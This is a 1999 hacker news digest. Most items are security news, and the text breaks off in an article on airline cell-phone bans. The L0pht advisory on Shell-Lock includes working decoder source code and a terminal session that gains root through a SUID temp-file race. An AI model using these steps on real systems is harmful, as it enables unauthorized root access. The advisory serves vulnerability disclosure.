Time In Half ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by evilwench A draft report prepared by U.S. Naval Forces, Europe claims that if its team of information warriors had the proper training and more experience they could have cut the duration of the Kosovo Campaign in half. The overall role of the infowarriors was deemed a success however. Federal Computer Week http://www.fcw.com/pubs/fcw/1999/1004/fcw-editorial-10-04-99.html OCTOBER 4, 1999 EDITORIAL When cyberwar comes of age New reports analyzing the Defense Department's efforts to conduct electronic warfare during military operations in Yugoslavia last spring give much cause for hope and some cause for concern about U.S. capabilities on this emerging front. Of course, DOD officials are not saying much in public about a so-called cyberwar, but their actions speak volumes. Earlier this year, the United States established a team of information warriors to electronically attack Serbian networks and computers, according to a draft report written by the U.S. Naval Forces, Europe. Although the information warriors had "great success" during the 78-day battle, according to the report, the effort had encountered problems. In particular, DOD's information warriors were "too junior and from the wrong communities" to plan and execute such operations, according to the report. Had information operations been properly executed, DOD could have cut the length of the campaign in half, the report states. Obviously, DOD has entered a difficult stage in the development of its information warfighting capabilities. The Pentagon clearly understands the vast potential for cyberwarfare in military operations, as information systems infiltrate nearly every aspect of the battlefield. But the Navy report suggests that DOD simply has not managed to bring together the resources it needs to put those ideas into action. Other aspects of military operations have been tested and refined in an endless string of battles, but DOD's information operations have not had the time and experience to mature. Such shortcomings are expected in a technology still in its infancy. The real danger at this juncture is if Pentagon officials do not take this study to heart, in light of the cyberwar effort's apparent successes. Cyberwar is coming of age rapidly. If DOD does not step up its efforts, it might find itself trying to play catch-up. @HWA 22.0 JTF-CND Moves to Space Command ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by evilwench The Joint Task Force for Computer Network Defense (JTF-CND), has become part of US Space Command. JTF-CND is tasked with conducting real-time intrusion detection and cyber counterintelligence across DOD networks. This raises JTF-CND's political clout to a level where the unit may actually prove effective. Federal Computer Week http://www.fcw.com/pubs/fcw/1999/1004/fcw-editorial-10-04-99.html OCTOBER 4, 1999 EDITORIAL When cyberwar comes of age New reports analyzing the Defense Department's efforts to conduct electronic warfare during military operations in Yugoslavia last spring give much cause for hope and some cause for concern about U.S. capabilities on this emerging front. Of course, DOD officials are not saying much in public about a so-called cyberwar, but their actions speak volumes. Earlier this year, the United States established a team of information warriors to electronically attack Serbian networks and computers, according to a draft report written by the U.S. Naval Forces, Europe. Although the information warriors had "great success" during the 78-day battle, according to the report, the effort had encountered problems. In particular, DOD's information warriors were "too junior and from the wrong communities" to plan and execute such operations, according to the report. Had information operations been properly executed, DOD could have cut the length of the campaign in half, the report states. Obviously, DOD has entered a difficult stage in the development of its information warfighting capabilities. The Pentagon clearly understands the vast potential for cyberwarfare in military operations, as information systems infiltrate nearly every aspect of the battlefield. But the Navy report suggests that DOD simply has not managed to bring together the resources it needs to put those ideas into action. Other aspects of military operations have been tested and refined in an endless string of battles, but DOD's information operations have not had the time and experience to mature. Such shortcomings are expected in a technology still in its infancy. The real danger at this juncture is if Pentagon officials do not take this study to heart, in light of the cyberwar effort's apparent successes. Cyberwar is coming of age rapidly. If DOD does not step up its efforts, it might find itself trying to play catch-up. @HWA 23.0 Anti-CyberCrime Unit Opens in Netherlands ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond The Dutch police department has opened their new cybercrime unit by naming 15 'cybercops' to the unit. The unit will patrol the Internet looking for criminal activity such as pedophilia to credit card fraud. The unit will be permitted to tap phones with a court order and has the authority to break-in to personal systems in search of evidence. (The world is becoming a very scary place.) Associated Press - via Canoe.ca http://www.canoe.ca/TechNews9910/04_cops.html Monday, October 4, 1999 Internet police to regulate information highway with cyber-unit AMSTERDAM, Netherlands (AP) -- Dutch police opened their fight against Internet crime Monday, naming 15 "cybercops" who will target on-line offenses ranging from pedophilia to credit card fraud. The team will patrol the country's Internet sites in search of on-line crime, using new computer surveillance equipment and old-fashioned police techniques. "They will go after all crime committed on the Internet and that could range from child pornography to credit card fraud, or the sale of illegal medicine and software," said police spokesman Albert Folgerts. The Internet officers will be able to tap phone lines and with a court order will even be permitted to crack into computer systems to find incriminating evidence -- the virtual equivalent of a search warrant. @HWA 24.0 CERT to Share Info With iDefense ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond The CERT Coordination Center has announced that they will share information stored in its Knowledge Base database with Infrastructure Defense Inc. (iDefense). It is hoped that this will give the groups a better understanding of the scope and magnitude of intruder activity. Lets wake up folks. There is already an online vulnerabilities data sharing resource. Its called Bugtraq. How are all these little infowar data sharing groups going to match the open full disclosure of Bugtraq? Why not sign on and help out bugtraq readers and contributors instead of setting up little doomed fiefdoms that hoard information. Federal Computer Week http://www.fcw.com/pubs/fcw/1999/1004/web-cert-10-04-99.html OCTOBER 4, 1999 CERT, iDefense team to study info warfare data sharing BY DANIEL VERTON (dan_verton@fcw.com) The Computer Emergency Response Team Coordination Center at Carnegie Mellon University, a federally funded research and development center, has launched a pilot project with one of industry's leading cyberintelligence firms to study new ways of sharing data about information warfare threats. Under the terms of the pilot program, Carnegie Mellon's CERT Coordination Center will share information stored in its Knowledgebase database with Infrastructure Defense Inc. (iDefense), an Alexandria, Va.-based firm specializing in cyberintelligence, indications and warnings. "This will help us get a better understanding of the scope and magnitude of intruder activity," said Kathy Fithen, manager of the CERT Coordination Center. "Sharing information is the best way for all of us to address this problem. Everybody wins with this agreement." The coordination center grew out of the CERT effort, which was begun initiated by the Defense Advanced Research Projects Agency in 1988. CERT works with the Internet community to facilitate defensive responses to computer security threats and conducts research targeted at improving the security of existing systems and software. According to Fithen, the pilot project will focus on finding the most effective ways to share and distribute information throughout the critical infrastructure protection community. The CERT Coordination Center plans to expand the program to include other companies and institutions once officials at the center have found the most effective methods for sharing information, Fithen said. "We want to get better at conducting early warning," Fithen said. "[The pilot] is critical to the success of attacking the problem of information assurance." In addition to conducting staff exchanges with iDefense, the CERT Coordination Center plans to make available hundreds of gigabytes of data on the last ten years' worth of known technology vulnerabilities, including known hacker methods and profiles and security flaws of various software. A secure intranet portal also will be established to enable iDefense and CERT Coordination Center analysts to access and share data. iDefense will use the cooperative agreement to enhance its current offerings in cybersecurity trend analysis, threat predictions and recommendations for defenses. Fithen said sharing information with companies like iDefense is critical because hackers have been doing it successfully for years. "We haven't been as free and open in sharing our information to protect systems," Fithen said. "But the intruder community has been very effective in sharing the information they have." Both the CERT Coordination Center and iDefense have customers throughout the government and commercial sector, including the Defense Department's Joint Task Force for Computer Network Defense and various intelligence agencies. James Adams, chief executive officer of iDefense, which recently expanded its analytical capabilities through a deal with Oxford Analytica, said the pilot project probably will result in better information for iDefense customers. Adams noted that the CERT Coordination Center has more "historical data" than iDefense. He said he expects a series of case studies to come out of the pilot project that focuses on analysis of hacker trends, predictions of current and future threats and recommendations on how agencies and commercial enterprises should secure their systems and networks. @HWA 25.0 Online Safety and Ethics Program Funded by DoJ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond A joint Department of Justice and Information Technology Association of America project known as the Cybercitizen Partnership was created in March to raise awareness among young web surfers about how to be responsible, and law-abiding. With $300,000 from the Justice Department the Cybercitizen Partnership hopes to educate younger Internet users about the do's and don't of being online. The campaign is aimed at children 12 and younger. The Industry Standard http://www.thestandard.net/articles/article_print/0,1454,6711,00.html US DOJ Internet Do's and Don'ts Online Safety and Ethics Program Funded by DoJ http://www.usdoj.gov/kidspage/do-dont/kidinternet.htm Justice Dept. Funds Antihacking Campaign By Keith Perine WASHINGTON – The Justice Department is trying to save children before they turn into hackers. With its $300,000 funding of the Cybercitizen Partnership, an awareness campaign coordinated by the Information Technology Association of America, the Justice Department assumes the unusual role of helping to educate budding Web users about how to be responsible, law-abiding surfers. The Cybercitizen Partnership, announced in March, is a joint Justice-ITAA effort aimed at protecting the country's Internet infrastructure from outlaw hackers and other criminals. Faced with a security breach, law enforcement officials don't know at first if they're confronting a foreign terrorist, a college student or a couple of sixth-graders who are having some fun with Dad's computer. But an ITAA official said that, upon investigation, a surprising number of cases involve child hackers. The association says that information technology makes up about 6 percent of the global gross domestic product – some $1.8 trillion of electronic infrastructure that needs to be protected against disgruntled former employees, corporate spies and juvenile delinquents who like to pull pranks. Figuring that it's too late to reform terrorists and spies, the ITAA decided to concentrate on the kids. The campaign, which debuts in January, will initially target children 12 and under, aiming to teach them proper online behavior and to instill a healthy disdain for hacking. The association wants to "help weed out some of the less meaningful system violations by curious children so that law enforcement can focus on the true criminals," says ITAA President Harris Miller. The cash infusion from the Justice Department is in keeping with a long tradition of government-sponsored public education campaigns, from the Interior Department's Smokey the Bear messages against forest fires to the Drug Enforcement Administration's "Just Say No" war on drugs. Miller says the campaign could be expanded to educate kids about other aspects of proper Internet etiquette, such as warning them against sending spam – for kids, the modern-day equivalent of prank telephone calls – or visiting Web sites with adult content. The main focus of the campaign, however, will be to "send the message that hacking isn't cute, clever or funny." In addition to the funding from Justice, the ITAA also plans to pass the hat among its own membership, a who's-who list of the high-tech industry that includes Microsoft (MSFT) , America Online (AOL) and IBM (IBM) . The association will also seek funds from foundations and possibly from private individuals. The association has sent out a request to several public relations companies for ideas on how to run the campaign, which might include television and Internet advertising, brochures and even visits to schools. One possibility under consideration: the creation of a mascot, like the famous McGruff crime dog, to pass the message along in a friendly manner. @HWA 26.0 Shell-Lock Use Found to Be Risky ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Dr. Mudge Shell-Lock, written by Cactus Software, allows users to 'compile' and obfuscate shell code. The tool does trivial encoding and creates security risks if used in many scenarios. L0pht Heavy Industries http://www.l0pht.com L0pht Security Advisory Advisory Released Oct 4 1999 Application: Cactus Software's shell-lock Severity (a): Users can de-obfuscate and retrieve the hidden shell code Severity (b): If a shell-locked binary is setuid root a user can execute any command as root. Status: The vendor has been sent a copy of the advisory (in a format that "Even if a hacker used the 'strings' utility, it would be a total waste of time.) Author: mudge@l0pht.com and lumpy http://www.l0pht.com/advisories.html Overview: (a) A trivial encoding mechanism is used for obfuscating the shell code in the "compiled" binary. Anyone with read permissions to the file in question can decode and retrieve the original shell code. Another vulnerability exists where the user can retrieve the un-encoded shell script without needing to actually decode the binary. (b) The vendors claim the program to be useful in creating SUID binaries on systems that do not honor SUID shell scripts and also to protect against the security problems with SUID shell scripts. As it turns out any shell-lock "compiled" program that is SUID root will allow any user to execute any program with root privileges. Example (a'): [slaughter-house] cat q.sh #!/bin/sh echo "hi there... this is a test" [slaughter-house] shell-lock -o q q.sh SHELL-LOCK(tm) Shell Script Security Software Copyright (C) 1989-1999 Cactus International, Inc. (Version: 2.1.1.1 7/19/99) Converting files: q.sh Compiling.....DEMO Version... Success!! The shell script "q" has been compiled and placed in "q" Conversion successful!! [slaughter-house] file q q: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped [slaughter-house] ./q hi there... this is a test [slaughter-house] strings ./q (some stuff... not the ascii from the shell script) [slaughter-house] ./codem -d -i ./q #!/bin/sh rm -f $0 2>/dev/null echo "hi there... this is a test" Example (a''): [slaughter-house] temp-watch -d /var/tmp -C 'q*' -D ./ & [1] 22971 [slaughter-house] nice +10 ./q hi there... this is a test [slaughter-house] more q* #!/bin/sh rm -f $0 2>/dev/null echo "hi there... this is a test" Example (b): # ls -l q -rwxr-xr-x 1 mudge other 50753 Sep 28 14:24 q # chown root q # chmod 4755 q # exit [slaughter-house] id uid=789(mudge) gid=1(other) [slaughter-house] ls -l q -rwsr-xr-x 1 root other 50753 Sep 28 14:24 q [slaughter-house] temp-watch -X '^q*' -R /bin/sh -d /var/tmp & [1] 23071 [slaughter-house] nice +10 ./q # id uid=0(root) gid=1(other) Background on shell-lock: Have you ever seen the big advertisements run in the back of SysAdmin magazine. You know, the ones with the Texan with the huge hat and sunglasses? Me too! Well, that is Cactus software and I've wanted to look at some of their stuff but never found the time. Until lumpy spotted some rather funny (read sad) stuff, and away we went. The program "shell-lock" is used to create ELF binaries from shell scripts. Ostensibly called a Shell Script Compiler, the literature states that the program also hides the original shell code so as not to be returnable through running strings(1) on the binary. A few tidbits from the product literature available on their web page ( http://www.cactus.com/shellock.html ): . There is absolutely no way anyone will know the contents of the shell script once it has been locked. Even if a hacker used the "strings" utility, it would be a total waste of time. . Make a simple limited shell script run with root power. This is done by making the binary executable a set-uid program, and eliminates giving out the "root password" to many users. And from the release notes: . Strong Security enhancements. All known methods of attack on a shell-locked script have been thwarted in this version. Details: A quick decompilation shows that the encoding and decoding routines look as follows: 0x16194 : inc %i4 Increment the counter 0x16198 : srl %i4, 0x1f, %o0 { 0x1619c : add %i4, %o0, %o0 { testing for odd v even 0x161a0 : andn %o0, 1, %o0 { 0x161a4 : cmp %i4, %o0 { 0x161a8 : bne 0x161b8 If they match 0x161ac : add %o1, 0x63, %o2 add 0x63 to the value 0x161b0 : b 0x161c0 else 0x161b4 : ld [ %i1 ], %o0 0x161b8 : add %o1, 0x44, %o2 add 0x44 to the value 0x161bc : ld [ %i1 ], %o0 0x161c0 : deccc %o0 0x161c4 : bneg 0x16228 0x161c8 : st %o0, [ %i1 ] 0x161cc : ld [ %i1 + 4 ], %o0 0x161d0 : add %o0, 1, %o1 0x161d4 : st %o1, [ %i1 + 4 ] 0x161d8 : and %o2, 0xff, %o1 and with 0xff (hey it's 0x161dc : stb %o1, [ %o0 ] ascii printable after all) 0x161e0 : ld [ %i0 ], %o0 0x161e4 : deccc %o0 This basically boils down to the following C code snippit. for (i=0; i < strlen ; i++){ if (!(i % 2)) outbuff[i] = (inbuff[i] + 0x44) & 0xff; else outbuff[i] = (inbuff[i] + 0x63) & 0xff; } Conversely the decoding subtracts 0x44 and 0x63 alternately. What shell-lock does when it creates the initial "compiled" binary from the shell script is to add the line "rm -f $0 2>/dev/null" to the bourne shell script (or "unlink $ZERO ; $ZERO=ENV{'X0'};\n.\nw\nq" for a perl script) and encodes the entire file. This is then copied into the data section of a skeleton binary file. The binary file, upon execution, reads the encoded data section and writes it out to a temporary file (*note: the default location is /var/tmp though it will follow the TMPDIR variable) and then execve's /bin/sh to call the program. The first method of extracting the data comes in using the attached program to read the binary and run the data section through the decoding routine. The second method of extraction is to use the current version of temp-watch (available freely from the L0pht advisories section) to make a copy of the temporary file containing the original shell code that is created when the binary is run. The SUID root vulnerability lies in the fact that while the temporary file is created without any special permissions, the file exec'ing it is running as root. Thus, as soon as one sees the temporary file the race condition exists where the user can unlink the file and replace it with a different file or a symlink to the program wishing to be executed. This is accomplished in the above example with the program temp-watch using arguments specifying the replacement of the temporary file with a link to /bin/sh. Solution: Do not take candy or accept car rides from strangers. If something seems too good to be true it probably is. There are few magic solutions that negate having to do things right in the first place. If you need a shell script to run with root priveledges consider writing it in C or using something like sudo. Do not rely upon shell-lock as an obfuscation mechanism for hiding the internals of shell scripts in 'compiled' binaries. Source Code: ---begin temp-watch--- temp-watch can be found at http://www.l0pht.com/advisories/l0pht-watch.tar.gz ---end temp-watch--- ---begin codem.c--- #include #include #include #include #include #include #include void usage(char *); int main(int argc, char *argv[]){ int fdin, fdout; int strlen, i, c; int cryptFlag=0, decryptFlag=0,seekFlag=0; int seekOffset=50688; char *infile=NULL, *outfile=NULL; char inbuff[8192]; char outbuff[8192]; while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){ switch (c) { case 'c': cryptFlag++; break; case 'd': decryptFlag++; break; case 'i': infile = optarg; break; case 'o': outfile = optarg; break; case 's': seekOffset = atoi(optarg); break; case 'h': usage(argv[0]); break; default: usage(argv[0]); break; } } if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){ printf("Must specify either -c or -d but not both\n"); usage(argv[0]); } if (infile){ fdin = open(infile, O_RDONLY); if (fdin == -1){ perror("open infile"); } } else { fdin = STDIN_FILENO; } if (outfile){ fdout = open(outfile, O_WRONLY|O_CREAT|O_EXCL, 0644); if (fdout == -1){ perror("open outfiel"); } } else { fdout = STDOUT_FILENO; } memset(inbuff, '\0', sizeof(inbuff)); memset(outbuff, '\0', sizeof(outbuff)); if (decryptFlag) lseek(fdin, seekOffset, SEEK_SET); while ((strlen = read(fdin, inbuff, sizeof(inbuff))) != 0){ for (i=0; i < strlen ; i++){ if (cryptFlag){ if (!(i % 2)) outbuff[i] = (inbuff[i] + 0x44) & 0xff; else outbuff[i] = (inbuff[i] + 0x63) & 0xff; } else { if (!(i % 2)) outbuff[i] = inbuff[i] - 0x44; else outbuff[i] = inbuff[i] - 0x63; } } write(fdout, outbuff, strlen); } close(fdin); close(fdout); return(0); } void usage(char *progname){ char *c; c = strrchr(progname, '/'); if (c) c++; else c = progname; printf("Usage: %s -cd[h] [-i infile] [-o outfile] [-s seek] \n", c); printf(" Shell-lock {en,de}coder by mudge@l0pht.com and _lumpy\n"); printf(" -c encrypt\n"); printf(" -d decrypt\n"); printf(" -h help\n"); printf(" -i input file\n"); printf(" -o output file\n"); printf(" -s seed offset [defaults to 50688]\n"); exit(1); } ---end codem.c--- .mudge mudge@l0pht.com @HWA 27.0 Hole Found in Auto_FTP ~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by skalore Auto_FTP is a local client daemon that automatically transfers files put into a shared directory to a remote ftp. While this is a good idea, the programmers did not take into account security issues. Nightfall Security Group has released an advisory on these issues. Nightfall Security Group http://www.nfsg.org/auto_ftp.html Auto_FTP.pl v0.2 Advisory 10/5/99 Nightfall Security Group (www.nfsg.org) Auto_FTP.pl is a perl script that utilizes a shared directory, anytime something new is put into the shared directory it transfers it to the specified ftp site. Auto_FTP is available via freshmeat.net by clicking here. Auto_FTP uses a configuration file that can be found in /etc/auto_ftp.conf, which contains the username, password and IP address of the remote ftp site in plain text. Thereby allowing anyone with read access to /etc to view the login and password to the ftp site. Another problem is that the shared directory by default is /tmp/ftp_tmp which can be viewed by any users on the machine. If you are transferring sensitive material with Auto_FTP it won't be sensitive for much longer. Auto_FTP does not check to see what user is sending to the shared directory. Any user on the local system could copy a file to /tmp/ftp_tmp and have it transferred to the ftp. Auto_FTP in summary: - Stores login and password for remote ftp in plaintext configuration file - Uses a shared directory to automatically transfer files that by default can be used and viewed by anyone - Auto_FTP does not check to see what user sent a specific file to the shared directory, therefore allowing anyone to copy a file to the shared directory and have it transferred to the ftp. (The default shared directory is /tmp/ftp_tmp). In conclusion this program while it may be a good idea does not concern itself with security precautions and is therefore not reccomended when the contents of the data is important. Reminder, plaintext passwords in a file that can be viewed by anyone is never a good idea. Nightfall Security Group (www.nfsg.org) Advisory --AUTO_FTP.PL-- 10/5/99 @HWA 28.0 Singaporean eduMall Defaced ~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by no0ne "owned...can we say more?" was the only message left in Singapore's eduMALL web site, developed by the Singapore Ministry of Education, the National Computer Board and Research Institute as well as Kent Ridge Digital Labs, by a hacker who goes by the name "mistuh clean". This is the very same text that was found last Monday, when the Television Corporation of Singapore was likewise defaced. The Strait Times http://straitstimes.asia1.com.sg/cyb/cyb10_1005.html (Note: url not found - Ed) @HWA 29.0 No Evidence to Support Cell Phone Ban ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by evilwench Sorry, but this is a personal pet-peeve of ours and we are going to rant about it. In my opinion there is a conspiracy (yes, strong accusation) between the cell phone companies and the airlines to force you to use the on board telephones at a whopping $6 a minute or approximately $150 million a year. They force these ungodly rates upon you by claiming that normal cell phone usage may cause interference with the plane and cause it to crash. Funny how test after test after test have failed to turn up any evidence of interference from on board wireless devices. If cell-phones do cause problems then why are they allowed into terminals, lobbies, parking lots, etc.. and why are ground crews routinely given radio's to carry around? And who prevents cell phone usage on private and corporate planes? Are these multi million dollar aircraft so poorly built that they can not withstand a few low power electromagnetic radiations? (Before you send us hate mail saying that we are placing peoples lives in jeopardy please read all three pages of this article.) ZD Net - Airlines Ban Cell Phones - But Why? We have ranted about this topic before. HNN Archive for July 22, 1999 http://www.hackernews.com/arch.html?072299 HNN Archive for July 23, 1999 http://www.hackernews.com/arch.html?072399 Things have gotten so far out of hand that at least one man in England has been sent to a year in jail for using his cell phone inside an airplane. ZD Net These are the only two studies we could find on the possibility of wireless devices causing interference on board an aircraft. Neither study could find any evidence of such interference. Computer-Related Incidents with Commercial Aircraft http://www.rvs.uni-bielefeld.de/publications/Incidents/ Electromagnetic Interference with Aircraft Systems: why worry? http://www.rvs.uni-bielefeld.de/publications/Incidents/DOCS/Research/Rvs/Article/EMI.html - for now -------------------------------------------------------------- This story was printed from ZDNN, located at http://www.zdnet.com/zdnn. -------------------------------------------------------------- Airlines ban cell phones -- but why? By Jon G. Auerbach, WSJ Interactive Edition October 5, 1999 8:30 AM PT URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2347869-3,00.html As anyone who has flown has heard, using a cellular telephone aboard an airplane is dangerous. American Airlines warns passengers that cell phones "may interfere with the aircraft's communication and navigation systems." Similar warnings come from Delta, United and Continental. British Airways links cellular interference to potential problems with compasses and even cabin pressure. What the airlines don't tell passengers is that there is no scientific evidence to support these claims. What concerns there are about cellular phones in airplanes dwell in the realm of anecdote and theory -- and to some extent in that of plain finance. There is money to be earned or lost by cell-phone companies and airlines if cell phones are used in-flight. Battery of tests A 1996 study commissioned by the U.S. Federal Aviation Administration looked at thousands of flight records and failed to find a single instance in which equipment was affected by a wireless phone. The study was conducted by RTCA Inc., a nonprofit organization that sets industry standards for airplane electronics. Plane makers Boeing Co. and Airbus Industrie have bombarded their aircraft with cell-phone frequencies and discovered no interference with communication, navigation or other systems. One likely reason that no problems were found: cellular phones don't operate on any of the frequencies used by airplane systems. "The airlines are misleading the traveling public," says John Sheehan, who headed the RTCA study and says he has often used his own cell phone in the sky. "There is no real connection between cell-phone frequencies and the frequencies of the navigation" or communications systems. Using cell phones aloft on commercial and private aircraft is banned not by the FAA but by the Federal Communications Commission, which regulates telephone use. In prohibiting airborne use in 1991, the FCC was mainly concerned about cell phones' potential to interfere with ground-to-ground cellular transmission. The FAA has never outlawed cell-phone use in airplanes. But the agency supports the FCC ban "for reasons of potential interference," according to an FAA advisory. Despite the findings of the 1996 RTCA study, the FAA remains concerned about anecdotal evidence of cell-phone interference in flight records, says an FAA spokeswoman. The FAA isn't the only party still concerned. Boeing continues to advise airlines against cell-phone use in the sky. That's because the electrical charge from the batteries in most handsets exceeds the plane maker's standards. Although Boeing's tests have never shown this to be a problem, in theory the electricity emanating from the device could create interference with airplane systems. Economic incentive The airlines and telecommunications companies also have an economic incentive to keep cell phones turned off in the air. The carriers receive a cut of the revenues from the telephones installed onboard. The two main providers of this air-phone service, GTE Corp. and AT&T Corp., charge about $6 for a one-minute call, more than 20 times typical cell-phone rates. These in-flight telephones also operate on cellular technology -- using a single airplane antenna to which the onboard phones are typically wired. AT&T and GTE, which recently agreed to sell its Airfone service, decline to discuss air-phone financial arrangements, as do several airlines. But Sheehan says airlines pocket about 15 percent of all air-phone revenue generated on their planes. GTE declines to discuss Airfone revenues, but analysts estimate the unit's annual revenues at $150 million. Some airlines also restrict cell-phone use on the ground, which isn't covered by the FCC ban, and which the FAA leaves to the airlines' discretion. Sheehan says he believes air carriers have resisted allowing cell-phone use on the ground because it "detracts from the revenue they get from the air phone." Airlines deny this, and say the bans are for the benefit of the passengers. "We don't believe it's a good safety issue" to allow normal cell phones, says Andy Plews, spokesman for UAL Corp.'s United Airlines. "We'd like people to use the air phones."The FCC's concern about air-to-ground cellular interference is real enough. From high in the sky, a cell phone acts like a sponge, sucking capacity out of the cellular sites that carry calls. For ground users, cell phones communicate by connecting to one cell site at a time; from the air, because of the height and speed of an aircraft, the phones often make contact with several sites at once. If allowed, this would limit call capacity, which would mean less revenue, says Howard Sherry, chief wireless scientist at Telcordia Technologies Inc., formerly the research arm of the Baby Bell telephone companies, in Morristown, N.J. The cellular signal from the air is also especially strong, since it is unimpeded by buildings or other ground clutter. That often means it can jump on a frequency already in use on the ground, causing interruptions or hang-ups. And airborne cellular calls are sometimes free because the signal is moving so fast between cells that the software on the ground has difficulty recording the call, says Bentley Alexander, a senior engineer at AT&T's wireless unit. Jailed in England The FCC says no passengers in the U.S. have been prosecuted for violating its regulation because airlines have diligently enforced the ban. But Neil Whitehouse, a British oil worker, is serving a one-year jail sentence in England for refusing to switch off his cell phone on a 1998 British Airways flight from Spain. Sue Redmond, a British Airways PLC spokeswoman, says Whitehouse put the plane at risk because cellular phones can disrupt the plane's automatic pilot, cabin-pressure controls -- and "every system that is needed to keep that airplane safe for flying." One expert witness at Whitehouse's trial was Daniel Hawkes, the head of avionics systems for the Civil Aviation Authority, the British counterpart to the FAA. In a telephone interview, Hawkes says phones have a "potential for a problem," but he concedes that there is no "hard evidence" of any problems. Still, he says it wouldn't be wise to allow cell phones on airplanes because the constant chatter might annoy other passengers. "You'd probably have more instances of air rage," he says. Indeed, the recent trend by some U.S. airlines to allow cell-phone use in planes parked at the gate coincides with growing passenger frustration with flight delays and poor service. These carriers include Northwest Airlines Corp., United, AMR Corp.'s American and Delta Air Lines Inc. Letting passengers chat on the ground is "good passenger service," says Delta spokesman John Kennedy. The early days Cell phones on airplanes first became an issue in the late 1980s. At the time, many wireless devices, including laptop computers and audio-cassette players, were proliferating. The responsibility for setting guidelines fell to the FCC, which has joint jurisdiction with the FAA for regulating wireless use on aircraft. Cellular companies were overwhelmingly opposed to allowing cell phones in the air, but broadly supported their use in aircraft on the ground. At first, the FAA favored banning cell phones at all times. In a 1989 letter to the FCC, the FAA warned that cell-phone use could "significantly increase the risk to aviation safety," whether "operated on the ground or in the air." This position was supported by most of the major airlines. Trans World Airlines Inc. told the FCC that allowing cell-phone use, even on the ground, "could be a detriment to public safety." The cell-phone companies were already on the record as being opposed to in-flight use -- but for different reasons. In a 1988 letter to the FCC, McCaw Cellular Communications Inc. wrote that air use could cause "highly disruptive interference to cellular systems" because of the "greatly increased transmitting range" that cell phones have aloft. Nynex Mobile Communications Co. warned that air use would "likely result in significant interference to other cellular transmission." Debating on the ground As the FCC continued to mull regulations, cellular companies sought to debunk the FAA's claims of potential cellular interference with critical aircraft systems while the plane is on the ground. McCaw, Motorola Inc. and Alltel Mobile Communications Inc. -- now a unit of Alltel Corp. -- noted the absence of scientific studies to support these claims. If cell phones do truly interfere, Alltel wrote in a 1990 letter to the FCC, "one wonders why problems have not resulted from the widespread use of cellular telephones in airport lobbies, parking lots and other facilities in close proximity to aircraft." McCaw cited the wide use of walkie-talkies by airport employees and ground crews. In 1991, the FAA backed off on ground use, saying airlines and pilots could use their own discretion. Later that year, the FCC passed its regulation banning airborne cellular use. The ban didn't apply to preinstalled air phones. As an integral part of the airplanes, those devices had to undergo strict FAA tests before they were allowed on planes. Those tests showed no problems. As passenger carry-ons, cell phones have never been run through the FAA equipment-testing process. The installed air phones also posed no problems for cell systems on the ground. The outside aircraft antenna that carries the air-phone calls also connects to a ground-based cellular network -- but with cells that are spaced much farther apart to avoid multiple phone-to-ground links. The issue began heating up again in 1992, when Rep. Bob Carr, then a Michigan Congressman, and vice chairman of the Transportation Appropriations subcommittee, asked the FAA for a detailed look at alleged cellular interference. Rep. Carr had been reprimanded by a United flight attendant for using his cell phone while a flight to Chicago was delayed on the ground in Detroit. Carr, a pilot, says he regularly used his cell phone while flying on commercial planes in the late 1980s. He says he is convinced the airline ban was, and is, "bogus" and not founded in science. The FAA asked RTCA to look into the issue. When anything goes wrong on a flight, pilots or operators are required to file "incident reports," which are collected in a database kept by the National Aeronautics and Space Administration. RTCA, which began its study in 1992, sifted through a decade's worth of such incident reports, about 70,000 in all, covering both commercial and private flights. RTCA, formerly called the Radio Technical Commission for Aeronautics, also was given access to confidential reports kept by some airlines in later years. Of 384 incidents that pilots suspected involved electronic interference, RTCA found most were baseless or didn't appear to be related to any electronics. Only 10 "had the potential for being interference from electronic devices carried onboard," says Sheehan. Of those 10, none involved a cell phone. In theory, any device that emits electronic waves -- including laptops, electronic games, pacemakers and hearing aids -- has the potential to cause interference to an airplane. Part of the problem is that airplanes are packed with a huge amount of electronic equipment, from radios and navigational equipment to smoke detectors and in-flight video. These systems can interfere with one another. Moreover, planes in the air are constantly flying through what engineers call a thick electronic soup of emissions from television and radio towers, satellite transmissions and other emitters. This makes pinpointing a single interference event in many cases nearly impossible. Six years ago, Boeing received word that a laptop computer was suspected of shutting off the autopilot system on one of its jets during a commercial flight from London to Paris. The pilot conducted tests by turning the computer on and off, which the airline said again triggered the autopilot error. The airline "felt 100% confident that it was a particular laptop" causing the problem, says Bruce Donham, a senior electromagnetics engineer at Boeing. Boeing sent engineers to Europe, purchased the laptop from the passenger, and tried unsuccessfully to re-create the problem from the same seat and during the exact time of the flight. Later, Boeing arranged to fly the empty plane on the London to Paris route, moving the laptop throughout the aircraft. No interference was discovered. The aircraft maker then brought the laptop back to Seattle and tested it in a Boeing lab. Donham says the tests showed no correspondence between electronic emissions from the laptop and the autopilot computer. 'No empirical data' After its study, RTCA decided to recommend allowing laptops, electronic games and CD players in the air because it couldn't duplicate interference. To be safe, RTCA recommended banning all electronics during critical phases of a flight, which are generally considered to be during takeoff and landing, when a plane is below 10,000 feet. As for cell phones, RTCA's study found "no empirical data" linking their use to safety issues on the ground or in the air. But the RTCA ran out of money and time before it could conduct tests using actual cell phones in various aircraft. So the organization, acting conservatively, recommended that cell phones and other so-called intentional transmitters -- such as radio-controlled toys -- be banned in the air. Aircraft makers conducted their own tests for interference as the use of wireless devices grew. Airbus, the No. 2 plane maker, was close to releasing its first fully computerized jet in the mid-1980s. It brought that jet, the A320, to a French Air Force base in Toulon, and parked it within 10 feet 